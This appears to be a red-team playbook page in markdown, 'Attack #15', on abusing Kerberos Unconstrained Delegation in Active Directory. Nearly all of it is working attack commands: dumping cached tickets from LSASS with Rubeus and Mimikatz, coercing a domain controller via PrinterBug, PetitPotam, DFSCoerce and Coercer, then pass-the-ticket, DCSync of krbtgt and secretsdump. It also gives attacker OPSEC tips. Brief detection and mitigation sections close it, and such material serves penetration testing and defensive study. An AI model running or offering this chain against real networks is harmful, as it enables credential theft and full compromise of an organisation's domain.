attack-15-unconstrained-delegation-abuse.md (10220B)
1 --- 2 title: "Attack #15 β Unconstrained Delegation Abuse" 3 description: "Unconstrained Delegation is a legacy Kerberos feature that allows a service to impersonate any user to any other service in the domain. When a computerβ¦" 4 category: active-directory 5 subcategory: "Kerberos & Delegation" 6 tags: ["active-directory", "kerberos", "adcs", "credential-access", "delegation"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "BloodHound"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Two/π Attack #15 β Unconstrained Delegation Abuse.md" 11 --- 12 # π Attack #15 β Unconstrained Delegation Abuse 13 14 *** 15 16 ## π How It Works 17 18 Unconstrained Delegation is a legacy Kerberos feature that allows a service to **impersonate any user to any other service** in the domain. When a computer object is configured with the `TRUSTED_FOR_DELEGATION` flag, any user authenticating to that computer via Kerberos **sends their entire TGT** inside the service ticket β and the computer caches it in LSASS memory. If an attacker compromises a server with Unconstrained Delegation, they can extract every cached TGT from memory and impersonate those users to any service in the domain. 19 20 The critical escalation path is **coercing a Domain Controller to authenticate** to the compromised server. Since DCs are computer accounts, their TGT carries machine-level privileges. With the DC's TGT, the attacker can perform DCSync and achieve full domain compromise. 21 22 ### The Full Attack Flow 23 24 ``` 25 1. Enumerate servers with TRUSTED_FOR_DELEGATION flag 26 2. Compromise one of those servers (local admin required) 27 3. Set up Rubeus monitor to capture incoming TGTs 28 4. Coerce the DC to authenticate to your compromised server 29 - PrinterBug / SpoolSample (MS-RPRN) 30 - PetitPotam (MS-EFSR) 31 - DFSCoerce (MS-DFSNM) 32 5. DC authenticates β its TGT is cached on your server 33 6. Extract the DC's TGT from LSASS memory 34 7. Inject the DC's TGT β DCSync β own the domain 35 ``` 36 37 *** 38 39 ## βοΈ Prerequisites 40 41 | Requirement | Detail | 42 |---|---| 43 | **Local admin on Unconstrained Delegation server** | Required to extract TGTs from LSASS | 44 | **Unconstrained Delegation server exists** | Computer object with `TRUSTED_FOR_DELEGATION` flag | 45 | **Network access to coerce DC** | Must reach DC on RPC ports for coercion | 46 | **Print Spooler or EFS service running on DC** | For coercion methods to work | 47 48 *** 49 50 ## π οΈ Tools 51 52 | Tool | Platform | Notes | 53 |---|---|---| 54 | **Rubeus** | Windows | `monitor` mode to capture incoming TGTs in real-time | 55 | **Mimikatz** | Windows | `sekurlsa::tickets /export` to dump cached tickets | 56 | **SpoolSample** | Windows | PrinterBug coercion β forces DC to auth to you | 57 | **printerbug.py** | Linux | Impacket PrinterBug β remote coercion from Linux | 58 | **PetitPotam** | Linux/Windows | MS-EFSR coercion β no authentication required in some versions | 59 | **DFSCoerce** | Linux | MS-DFSNM coercion | 60 | **Coercer** | Linux | Multi-protocol coercion toolkit | 61 | **PowerView** | Windows | Enumerate Unconstrained Delegation servers | 62 | **BloodHound** | Both | Visual identification of delegation targets | 63 64 *** 65 66 ## π» Full Commands 67 68 ### π΅ Step 1 β Enumerate Unconstrained Delegation Servers 69 70 ```powershell 71 # ββ PowerView βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 72 Import-Module .\PowerView.ps1 73 Get-DomainComputer -Unconstrained | Select-Object samaccountname, dnshostname, useraccountcontrol 74 # Ignore Domain Controllers β they always have Unconstrained Delegation 75 76 # ββ AD Module βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 77 Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, DNSHostName | 78 Select-Object Name, DNSHostName, TrustedForDelegation 79 80 # ββ LDAP Filter βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 81 Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -Properties DNSHostName 82 ``` 83 84 ```bash 85 # ββ Linux β BloodHound.py + Impacket ββββββββββββββββββββββββββββββββββββββββββ 86 findDelegation.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 87 # Shows all delegation types: Unconstrained, Constrained, RBCD 88 89 # ββ NetExec βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 90 nxc ldap DC01.corp.local -u low_user -p 'Password1' --trusted-for-delegation 91 ``` 92 93 ### π΄ Step 2 β Monitor for Incoming TGTs (On Compromised Server) 94 95 ```powershell 96 # ββ Rubeus monitor mode β capture TGTs as they arrive βββββββββββββββββββββββββ 97 .\Rubeus.exe monitor /interval:5 /nowrap 98 # Runs continuously, printing base64-encoded TGTs as users authenticate 99 # Wait for the DC's TGT after triggering coercion 100 101 # ββ Rubeus monitor with filter for specific user ββββββββββββββββββββββββββββββ 102 .\Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap 103 # Only shows TGTs from the DC machine account 104 105 # ββ Alternative: Mimikatz β dump all cached tickets ββββββββββββββββββββββββββ 106 privilege::debug 107 sekurlsa::tickets /export 108 # Exports all TGTs as .kirbi files from LSASS memory 109 ``` 110 111 ### π΄ Step 3 β Coerce DC Authentication 112 113 ```bash 114 # ββ PrinterBug / SpoolSample (MS-RPRN) ββββββββββββββββββββββββββββββββββββββββ 115 # Forces DC to authenticate to your compromised server via Print Spooler 116 printerbug.py corp.local/low_user:'Password1'@DC01.corp.local COMPROMISED_SERVER.corp.local 117 # DC01 will auth to COMPROMISED_SERVER β TGT cached 118 119 # ββ PetitPotam (MS-EFSR) β often works unauthenticated βββββββββββββββββββββββ 120 python3 PetitPotam.py COMPROMISED_SERVER.corp.local DC01.corp.local 121 # Or with credentials: 122 python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ 123 COMPROMISED_SERVER.corp.local DC01.corp.local 124 125 # ββ DFSCoerce (MS-DFSNM) βββββββββββββββββββββββββββββββββββββββββββββββββββββ 126 python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local \ 127 COMPROMISED_SERVER.corp.local DC01.corp.local 128 129 # ββ Coercer (multi-protocol) βββββββββββββββββββββββββββββββββββββββββββββββββ 130 coercer coerce -u low_user -p 'Password1' -d corp.local \ 131 -l COMPROMISED_SERVER.corp.local -t DC01.corp.local 132 ``` 133 134 ```powershell 135 # ββ Windows β SpoolSample.exe βββββββββββββββββββββββββββββββββββββββββββββββββ 136 .\SpoolSample.exe DC01.corp.local COMPROMISED_SERVER.corp.local 137 ``` 138 139 ### π΄ Step 4 β Extract and Use DC's TGT 140 141 ```powershell 142 # ββ Rubeus β inject the captured DC TGT ββββββββββββββββββββββββββββββββββββββ 143 .\Rubeus.exe ptt /ticket:<base64_encoded_DC_TGT_from_monitor> 144 145 # ββ DCSync with the DC's ticket ββββββββββββββββββββββββββββββββββββββββββββββ 146 mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit 147 148 # ββ Verify ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 149 klist 150 dir \\DC01.corp.local\C$ 151 ``` 152 153 ```bash 154 # ββ Linux β convert and use βββββββββββββββββββββββββββββββββββββββββββββββββββ 155 # If you captured a .kirbi file, convert to .ccache: 156 ticketConverter.py dc01_tgt.kirbi dc01_tgt.ccache 157 158 export KRB5CCNAME=dc01_tgt.ccache 159 secretsdump.py -k -no-pass corp.local/DC01\$@DC01.corp.local 160 ``` 161 162 *** 163 164 ## π― OPSEC Tips 165 166 - **Rubeus `monitor` mode is preferred** over Mimikatz for real-time TGT capture β it catches tickets as they arrive 167 - **PrinterBug requires Print Spooler running on DC** β check first with `ls \\DC01\pipe\spoolss` 168 - **PetitPotam may work unauthenticated** on unpatched DCs β most valuable coercion method 169 - **DCs always have Unconstrained Delegation** β they're not your targets; look for NON-DC servers with the flag 170 171 *** 172 173 ## π‘οΈ Detection β Event IDs 174 175 | Event ID | Source | What to Look For | 176 |---|---|---| 177 | **4624** | Security Log | DC machine account (DC01$) authenticating to a workstation β unusual | 178 | **4768** | Security Log | TGT request patterns associated with coercion | 179 | **4769** | Security Log | TGS requests using the DC's captured TGT from non-DC source | 180 | **5145** | Security Log | Network share access from the coerced DC to the attacker's host | 181 182 *** 183 184 ## π Attack Chain Context 185 186 ``` 187 [Unconstrained Delegation] βββ DC TGT Theft β Domain Compromise 188 β 189 ββββ π¨οΈ Coerce DC via PrinterBug/PetitPotam β capture DC TGT 190 ββββ π©Έ DC TGT β DCSync β KRBTGT hash β Golden Ticket 191 ββββ π Requires: local admin on UD server + coercion method 192 ββββ π Chain with: PetitPotam (#41), PrinterBug (#42) 193 ββββ π Defeated by: remove UD flag, disable Spooler on DCs, Protected Users 194 ``` 195 196 *** 197 198 > β **Attack #15 β Unconstrained Delegation complete.**